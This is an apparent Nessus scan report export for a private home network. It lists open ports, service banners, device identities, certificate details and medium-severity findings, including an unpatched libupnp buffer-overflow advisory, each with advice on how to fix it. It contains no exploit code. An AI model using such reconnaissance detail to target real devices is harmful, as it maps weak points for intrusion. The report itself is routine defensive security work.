		11219						None		192.168.0.27		tcp		4545		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 4545/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		5000		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 5000/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		8008		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8008/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		8080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8080/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		8123		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8123/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		9006		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9006/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		9080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9080/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.27		tcp		9091		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9091/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.27		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 2.6
Confidence level : 65
Method : SinFP

Not all fingerprints could give a match. If you think some or all of
the following could be used to identify the host's operating system,
please email them to os-signatures@nessus.org. Be sure to include a
brief description of the host itself, such as the actual operating
system or product / model names.

NTP:!:unknown
SinFP:
   P1:B11013:F0x12:W14600:O0204ffff:M1446:
   P2:B11013:F0x12:W14480:O0204ffff0402080affffffff4445414401030307:M1446:
   P3:B00000:F0x00:W0:O0:M0
   P4:181102_7_p=8123
HTTP:!:Server: Sky



 
The remote host is running Linux Kernel 2.6										None								12/9/03		3/9/20

		19506						None		192.168.0.27		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 656 sec
										None								8/26/05		8/27/20

		22964						None		192.168.0.27		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.27		tcp		5000		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.27		tcp		8080		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				The service closed the connection without sending any data.
It might be protected by some sort of TCP wrapper.										None								8/19/07		8/18/20

		22964						None		192.168.0.27		tcp		9006		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.27		tcp		9080		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		24260						None		192.168.0.27		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : OPTIONS, GET, HEAD, POST
Headers :

  Content-Length: 0
  Date: 
  Server: Sky
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.27		tcp		5000		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Length: 0
  Server: AirTunes/211.1
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.27		tcp		9006		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 404 Not Found


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: application/json
  Connection: close
  Server: Sky
  Content-Length: 169
  
Response Body :

										None								1/30/07		11/22/19

		24260						None		192.168.0.27		tcp		9080		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Access-Control-Allow-Origin: *
  Cache: no-cache
  Content-Type: application/json
  Connection: close
  Content-Length: 9
  Date: Thu Nov  5 18:16:27 2020
  
Response Body :

status=ok										None								1/30/07		11/22/19

		24260						None		192.168.0.27		tcp		9091		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 426 Upgrade Required


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: WebSocket++/0.4.0
  
Response Body :

										None								1/30/07		11/22/19

		25220						None		192.168.0.27		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.27		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.27:9080
    http://192.168.0.27:49153/description3.xml
    http://192.168.0.27:49153/description1.xml

And advertises these unique service names :

    uuid:SKUSKYFV2=00000000000000001000000000028367::upnp:rootdevice
    uuid:SKUSKYFV2=00000000000000001000000000028367::urn:schemas-upnp-org:device:mdxdevice:1
    uuid:SKUSKYFV2=00000000000000001000000000028367::urn:mdx-netflix-com:service:target:3
    uuid:55443176-3147-4761-7465-2047ed7bccb2::upnp:rootdevice
    uuid:55443176-3147-4761-7465-2047ed7bccb2::urn:schemas-nds-com:device:GatewaySkyPairing:1
    uuid:55443176-3147-4761-7465-2047ed7bccb2::urn:schemas-nds-com:service:SkyPairing:1
    uuid:444D5276-3247-4761-7465-2047ed7bccb2::upnp:rootdevice
    uuid:444D5276-3247-4761-7465-2047ed7bccb2::urn:schemas-nds-com:device:GatewaySkyControl:2
    uuid:444D5276-3247-4761-7465-2047ed7bccb2::urn:schemas-nds-com:service:SkyPlay:2

										None								2/19/09		9/12/18

		35716						None		192.168.0.27		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

20:47:ED:7B:CC:B2 : BSkyB Ltd
										None								2/19/09		5/13/20

		45590						None		192.168.0.27		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:linux:linux_kernel:2.6
										None								4/21/10		9/30/20

		42873		CVE-2016-2183		5		Medium		192.168.0.26		tcp		443		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		54615						None		192.168.0.27		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 65
										None								5/23/11		5/23/11

		42873		CVE-2016-2183		5		Medium		192.168.0.28		tcp		443		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		51192				6.4		Medium		192.168.0.1		tcp		4567		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=US/O=Circle Media Inc/CN=localhost
|-Issuer  : C=US/O=Circle Media Inc/CN=localhost
				6.5						Medium								12/15/10		4/27/20

		51192				6.4		Medium		192.168.0.1		tcp		8890		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=US/O=Circle Media Inc./CN=Circle002
|-Issuer  : C=US/O=Circle Media Inc/CN=Circle Root CA 1
				6.5						Medium								12/15/10		4/27/20

		84502				5.8		Medium		192.168.0.1		tcp		4567		HSTS Missing From HTTPS Server		The remote web server is not enforcing HSTS.		The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). 
HSTS is an optional response header that can be configured on the server to instruct 
the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks,
SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.		Configure the remote web server to use HSTS.		https://tools.ietf.org/html/rfc6797		
  The remote HTTPS server does not send the HTTP
  "Strict-Transport-Security" header.
				6.5						Medium								7/2/15		11/2/20

		84502				5.8		Medium		192.168.0.1		tcp		8890		HSTS Missing From HTTPS Server		The remote web server is not enforcing HSTS.		The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). 
HSTS is an optional response header that can be configured on the server to instruct 
the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks,
SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.		Configure the remote web server to use HSTS.		https://tools.ietf.org/html/rfc6797		
  The remote HTTPS server does not send the HTTP
  "Strict-Transport-Security" header.
				6.5						Medium								7/2/15		11/2/20

		104743				6.1		Medium		192.168.0.1		tcp		4567		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		104743				6.1		Medium		192.168.0.1		tcp		8890		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		51192				6.4		Medium		192.168.0.20		tcp		443		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=CN/CN=TP-Link
|-Issuer  : C=CN/CN=TP-Link
				6.5						Medium								12/15/10		4/27/20

		66334						None		192.168.0.27		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE (64394) ]

+ Action to take : Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a third party library by a different application, contact the vendor of that application for a fix.


										None								7/8/13		10/16/20

		66717						None		192.168.0.27		udp		5353		mDNS Detection (Local Network)		It is possible to obtain information about the remote host.		The remote service understands the Bonjour (also known as ZeroConf or
mDNS) protocol, which allows anyone to uncover information from the
remote host such as its operating system type and exact version, its
hostname, and the list of services it is running. 

This plugin attempts to discover mDNS used by hosts residing on the same
network segment as Nessus.		Filter incoming traffic to UDP port 5353, if desired.				Nessus was able to extract the following information :

  - mDNS hostname       : skyq-2.local.

  - Advertised services :
    o Service name      : SkyQ_Livingroom._http._tcp.local.
      Port number       : 13579
    o Service name      : SkyQ_Livingroom._airplay._tcp.local.
      Port number       : 5000
    o Service name      : 2047ED7BCCB2@SkyQ_Livingroom._raop._tcp.local.
      Port number       : 5000

										None								5/31/13		5/31/13

		86420						None		192.168.0.27		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 20:47:ED:7B:CC:B2
										None								10/16/15		5/13/20

		10114		CVE-1999-0524		0		None		192.168.0.28		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10267						None		192.168.0.28		tcp		22		SSH Server Type and Version Information		An SSH server is listening on this port.		It is possible to obtain information about the remote SSH server by
sending an empty authentication request.		n/a				
SSH version : SSH-2.0-dropbear_2015.67
SSH supported authentication : publickey,password
										None				IAVT:0001-T-0933				10/12/99		9/22/20

		10287						None		192.168.0.28		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.28 : 
192.168.0.35
192.168.0.28

Hop Count: 1
										None								11/27/99		8/20/20

		10863						None		192.168.0.28		tcp		443		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: CN
Common Name: TP-Link

Issuer Name: 

Country: CN
Common Name: TP-Link

Serial Number: 00 D1 21 F9 86 A5 53 A4 05 

Version: 1

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Jul 03 10:51:22 2020 GMT
Not Valid After: Jul 02 10:51:22 2025 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 AA F6 4A F9 5B 20 83 BD 97 F3 2F 73 F8 E5 F3 3C 66 EA 79 
            12 B1 15 AE 40 51 E4 BC C5 90 0F 2B 13 95 F9 82 35 BF D2 84 
            31 32 68 D1 E6 E7 E4 D8 2C F8 AB 2D 52 BF 08 49 09 2D 2D D3 
            26 21 07 B7 1B 77 3E 67 8B B0 2D 49 58 A7 4C D9 5A D3 33 56 
            3E 48 57 E8 4D F8 A8 36 D7 C7 1F 70 62 76 15 C7 DD BB 13 52 
            C8 D5 D5 5B E0 F8 26 A2 75 AA 4F F7 B5 04 45 97 F6 73 2F E0 
            16 70 99 04 0F 01 BD 31 87 
Exponent: 01 00 01 

Signature Length: 128 bytes / 1024 bits
Signature: 00 5B 61 BB 68 8D D3 7A 5F 00 F1 9E 11 B5 A0 92 6F A7 45 31 
           4C 81 28 05 5C 27 31 CA 41 18 22 B6 43 03 FA D7 D9 F8 2C DD 
           0E A5 3D EB F3 9B D4 44 53 2C 21 13 D4 73 40 EE 8A D7 FB 36 
           BE D9 14 CB E7 12 65 B0 EC DA C3 45 5F FC AE D7 DF 57 CC 2F 
           A7 C0 36 9B 12 DA 8B 70 27 8E 54 B3 ED 3A 22 BB 37 18 B4 DA 
           FB A6 04 FD 96 7E 09 13 98 02 A5 FC E7 FC 34 65 CF 2C A9 F7 
           F4 19 37 A2 81 0F C3 95 05 

Fingerprints : 

SHA-256 Fingerprint: 52 2B 32 A0 94 93 59 98 7D BE B3 FF 7A 5D A2 79 24 24 83 DA 
                     6D 05 2B 43 26 29 5D E0 2E 83 4E BA 
SHA-1 Fingerprint: FA AB 25 4C 78 EE E7 1E 5B 72 BA 4A 73 D2 F1 10 4A DE C8 B4 
MD5 Fingerprint: 4E F0 E0 3E 16 D3 57 FD CC 79 C2 91 63 37 81 79 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11219						None		192.168.0.28		tcp		22		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 22/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.28		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.28		tcp		443		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 443/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.28		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 3.1
Linux Kernel 3.3
Confidence level : 59
Method : SinFP

 
The remote host is running one of these operating systems : 
Linux Kernel 3.1
Linux Kernel 3.3										None								12/9/03		3/9/20

		12053						None		192.168.0.28		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.28 resolves as deco-E4R.
										None								2/11/04		4/14/17

		19506						None		192.168.0.28		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 297 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.28		tcp		443		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
